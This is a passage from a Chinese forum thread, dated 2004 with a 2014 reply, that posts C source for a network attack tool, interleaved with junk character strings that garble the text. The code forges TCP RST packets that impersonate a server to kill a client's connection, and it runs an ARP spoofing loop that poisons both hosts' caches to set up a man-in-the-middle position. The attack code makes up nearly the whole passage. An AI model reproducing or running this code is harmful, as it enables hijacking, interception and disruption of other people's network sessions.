X$ w5 u+ ?# ]' ?; U4 w( P* `
bRet = TRUE;
- j+ f# c5 t- f! J* g: ?$ y
}
作者:
韩冰
时间:
2004-11-21 01:47
__finally
8 J, X& k& e" @5 ~( s3 }' Z9 {% ~! Z
{
" z) L9 }, j! B# ~
if(pHiJackPacket) free(pHiJackPacket);
/ d5 W% D) ]6 u0 i
}
4 m3 I+ q# c0 I' f
return bRet;
: ?, O3 s, W0 O- J" w9 s1 I
}
+ w/ ~/ D; C6 l5 H8 R6 y
" Z/ g) ^& ?# X( \; ]
% g/ N$ P6 @, S1 T Z) T# m
//
' h( t) [5 [, w0 B! ]* q( T- T
//功能:伪装成Server给Client发送rst包
O6 v/ G0 p* x
//
7 b$ U" O9 B2 N; n% H
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
6 b& q% o2 e5 D
{
0 E* X+ A5 q% j
char szBuff[60];
1 U `1 Y4 z0 n& E2 n$ Y
PSDHDR psdhdr;
9 e9 r2 W& r: T& S7 k' B
PTCPPACKET pTcpPacket = NULL;
3 y4 J( n1 A0 s( u9 a ^6 ^% N
BOOL bRet = FALSE;
7 r9 a) q, w7 @: S3 C. P
+ m8 L# W" e3 J+ |
__try
; M/ U2 r1 ], ` X a& S3 w
{
4 O7 [: \; r5 x! E3 I; h
//检查当前指向想控制的连接的信息的指针是否为空
) ]' n1 w5 k: Y, o& E, d
if(!g_pCurrCtrlConn) __leave;
) j: M5 X( E1 S- s, x* L- Q3 e) E
//allocate memory for rst packet
8 E' d/ \1 n+ P2 \; E3 M6 @
pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
g- L" M, V8 |+ D
if(!pTcpPacket)
& h0 I5 |' A) t
{
4 P4 h& T% V- P0 t
printf("malloc error:%d\n", GetLastError());
- d% L! _, \1 E/ G# Z" J: N( Q
__leave;
" w% c( ]+ ]9 w0 Z6 Q
}
1 A& f1 C6 S3 j( f
//fill ethernet head
' C8 \8 \/ P/ G& O5 o1 x6 P) T
memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
$ M2 s* W: b- @. {- N- `: S
memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
3 y1 t) K* p4 G0 m4 b# K9 v
pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
1 E1 I9 N; V- a' a5 i
//fil ip head
; w, N9 ~- t7 H& \0 U
pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
0 D, R5 ^9 B: Q* c# F4 Q# ]
pTcpPacket->iphdr.tos = 0;
! V. y9 Z% X8 v6 K) a% p: o
pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
5 ?+ i8 w" G% a& i9 w2 D. c
pTcpPacket->iphdr.ident = 1;
0 b' X- ^/ L' C
pTcpPacket->iphdr.frag_and_flags = 0;
! C% l$ i6 ^) C
pTcpPacket->iphdr.ttl = 128;
. ~# F% U+ L1 {: k' j
pTcpPacket->iphdr.proto = IPPROTO_TCP;
% N$ Q/ b4 w9 s$ A: f, c1 f3 s
pTcpPacket->iphdr.checksum = 0;
7 M+ A2 u& [ |8 r# Q
pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的
: a' r( F Z; q% E2 U2 J9 |
pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
3 t9 K }' i) ?) }
//fill tcp head
: ~9 w* p/ Y) X& z) Q" W8 J
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
6 [4 o/ H3 N/ d4 j
pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
% r G" [+ V& z7 u
pTcpPacket->tcphdr.th_seq = seq;//SYN
. r) K% V+ y* x! {
pTcpPacket->tcphdr.th_ack = ack;//ACK
0 L* M7 T$ v6 j* z6 T
pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
2 b+ ]* _5 O8 q
pTcpPacket->tcphdr.th_flag = 4;//RST flag
6 S) A5 d- a6 l/ _/ }+ k
pTcpPacket->tcphdr.th_win = 0;
9 f; ~2 w( o* P i) O
pTcpPacket->tcphdr.th_urp = 0;
# \) \; R- H2 y5 k3 T
pTcpPacket->tcphdr.th_sum = 0;
! I3 H& v9 q* i: Y& [
//fill tcp psd head
3 Z3 R4 n9 g7 m9 ]; N
psdhdr.saddr = pTcpPacket->iphdr.sourceIP;
5 e Q" C9 S$ z' @
psdhdr.daddr = pTcpPacket->iphdr.destIP;
, I2 i% k [$ X, A
psdhdr.mbz = 0;
) G# |% p# Y3 K& G; u
psdhdr.ptcl = IPPROTO_TCP;
4 s; ?& U! x H/ d
psdhdr.tcpl = htons(sizeof(TCPHDR));
" Y' k+ b5 P3 l: s- F
//calculate tcp checksum
, y: u% C9 ^( p& S: i2 ]; ?
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
& Z/ d( ^; ]6 h7 J/ R5 z
memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
) m$ \* k4 G i) p! }4 j1 T0 g
pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
5 a! x7 J! n2 Q1 M6 q
//calculate IP checksum
. e( E% G' w0 `" H- y/ w
pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
0 S8 @, l4 ? @# m+ g; F
//fill send buffer
" u9 e5 K6 P1 D6 ^
memset(g_lpSendPacket->Buffer, 0, 1514);
0 J/ `# {8 o. I9 q# R W
memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
# j6 E2 N# i* y* E$ ^1 e. ~' v
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
& g, r$ N" Q) \$ D. J% \( V
{
$ ^; i4 C1 p, }% e" M% ~8 V0 }
printf("Error sending the rst packets!\n");
$ ~7 E9 a6 f" k& R O* r% R
__leave;
) q% M" j$ C, ?5 f* C
}
0 z1 T7 {! ^: [
else printf("Send RST packet ok!\n");
0 K. ?5 S6 ]3 @' K+ Q
bRet = TRUE;
& c$ `' ~& E7 r- N& E
}
& w# }) j @0 a/ P5 p. o4 U( y
__finally
7 c- V+ P( x0 K H* m
{
/ ^! D2 p- m3 Y) V
if(pTcpPacket) free(pTcpPacket);
7 ~' s! F- j1 L" ?2 }
}
7 j& P/ Y8 t* ~/ f) s% p: @
return bRet;
- l& z# N4 A `. E+ E& a' B
}
# t" q! s6 c1 O* V. ]
; a6 ?* e3 \" U4 V% G1 W" x' M) p
//
2 j/ K9 i$ G) F Z1 C
//功能:计算校验和
[: l$ B8 n# ?( |- y7 F' j
//
! \& ? @4 l) ~! e3 ?2 I
USHORT checksum(USHORT *buffer, int size)
$ u$ A( X) F( r/ a7 Z6 g# H
{
4 Y6 J) i) i/ {8 J8 ]% I
unsigned long cksum=0;
+ w" H- v2 V8 Z. f6 R8 `
while(size >1) {
' a% @4 a0 Y9 J3 W/ R2 n; j
cksum+=*buffer++;
3 u7 d l8 o% c/ M7 K
size -=sizeof(USHORT);
7 U" s5 b- A1 [2 g! j P" p
}
8 v/ }: u9 s2 A* p
if(size ) {
0 P: n# S7 B2 O; b; z
cksum += *(UCHAR*)buffer;
: a I5 H( k8 b' F
}
/ ]) n& s. v/ o+ R" m0 ^$ }
cksum = (cksum >> 16) + (cksum & 0xffff);
5 }# h9 O" j# P$ Z7 C2 _1 J( Q
cksum += (cksum >>16);
x. n5 c! r2 h9 V+ j
return (USHORT)(~cksum);
2 ^3 g4 s( @3 o% r; Q3 g7 P; S
}
, N' S3 }! _( P; s" G
) V5 T. Y, w) s& K; [/ U
//
# ?$ I- d$ D7 q
//功能:实施ARP欺骗
: _( U! g, n: Q% \0 j$ l4 @
//1 告诉ServerSide,ClientSide的mac是ownmac
z, F$ V5 x7 T. j. l, ^; f6 T
//2 告诉ClientSide,ServerSide的mac是ownmac
R' O L! g/ V, O6 k6 {- ?# \
//
+ I1 k2 }% r; P$ T7 |9 N; t! |- ^
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
) a. {" c! U8 N4 N# d# D1 K
{
$ ~9 h5 y! T/ X0 O# e
int iType = *(int *)lpType;
7 E9 Z0 U* R. C: u
ARPPACKET ArpPacket;
; v0 m/ U, U" F! |3 \2 Y
LPPACKET lpArpPacket;
6 y( K9 V" r1 l( S* y
char szArpBuff[60];
" J9 F9 `3 l4 R8 H. J; l
- ~" ] C4 ~# s6 l' }8 V6 r
switch(iType)
" [0 r5 r S. v1 K% {4 y. N
{
& |$ B u5 }3 f4 A' k$ h ]
case 1:
/ t& Q- Q$ L1 O6 |6 ?( u
memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
1 e- @ ]; R+ @6 l
ArpPacket.arphdr.DestIP = g_ServerSideIP;
8 F2 m& R4 J; ^+ O8 z
ArpPacket.arphdr.SourceIP = g_ClientSideIP;
" B g2 }% U* d; {) X
break;
$ ^9 ?4 A, f, M0 T
case 2:
1 R1 D# s; f6 h) V {) p' X8 P8 \
memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
l. ]! O- H, d& W/ R. | l
ArpPacket.arphdr.DestIP = g_ClientSideIP;
& B9 T$ g4 Q4 P3 T1 b5 a5 ~8 B
ArpPacket.arphdr.SourceIP = g_ServerSideIP;
& Z( p" C8 A {
break;
4 A$ _+ s: T1 ^, e5 }
default:
% S4 \$ v( Z% J" n
return 0;
: T: ?; r$ h4 \
}
0 Y' ?" V/ n3 }1 O
//ethernet head
# y! P0 H) c. x/ r- b8 p5 q9 U
memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
) u) I2 o) ^. S: B+ r6 _: l4 |3 ~
ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
; V* H) H6 \& ^. f
//arp head
0 f! |9 D4 H6 \4 G, x* w
memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
, y% f. F& s2 G+ [7 _
memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
* X) `) u$ F4 O. {7 c' |6 _
ArpPacket.arphdr.HrdAddrlen = 6;
( o. ^; C0 l% T2 b& ?# H8 l+ H
ArpPacket.arphdr.ProAddrLen = 4;
( k2 h7 c W$ e
ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
: w5 U4 w( q/ ~& ]* U' s# ^
ArpPacket.arphdr.ProType = htons(EPT_IP);
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ArpPacket.arphdr.op = htons(2);//arp reply
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lpArpPacket = PacketAllocatePacket();
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if(lpArpPacket == NULL)
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{
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printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
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return 0;
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}
|9 h! ?7 k$ {
memset(szArpBuff, 0, sizeof(szArpBuff));
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memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
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PacketInitPacket(lpArpPacket, szArpBuff, 60);
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//send arp packet
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while(1)
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{
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if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
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{
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printf("Error sending the arp spoof packets!\n");
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return 0;
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}
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Sleep(1000);
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}
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return 0;
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}
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//
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//功能:输入IP取得对应的MAC地址
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//
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BOOL GetMACAddr(DWORD DestIP, char *pMAC)
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{
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DWORD dwRet;
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ULONG ulLen = 6, pulMac[2];
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dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
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if(dwRet == NO_ERROR)
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{
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memcpy(pMAC, pulMac, 6);
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return TRUE;
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}
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else return FALSE;
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}
作者:
wy617958197
时间:
2014-9-4 20:48
大侠好厉害啊
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
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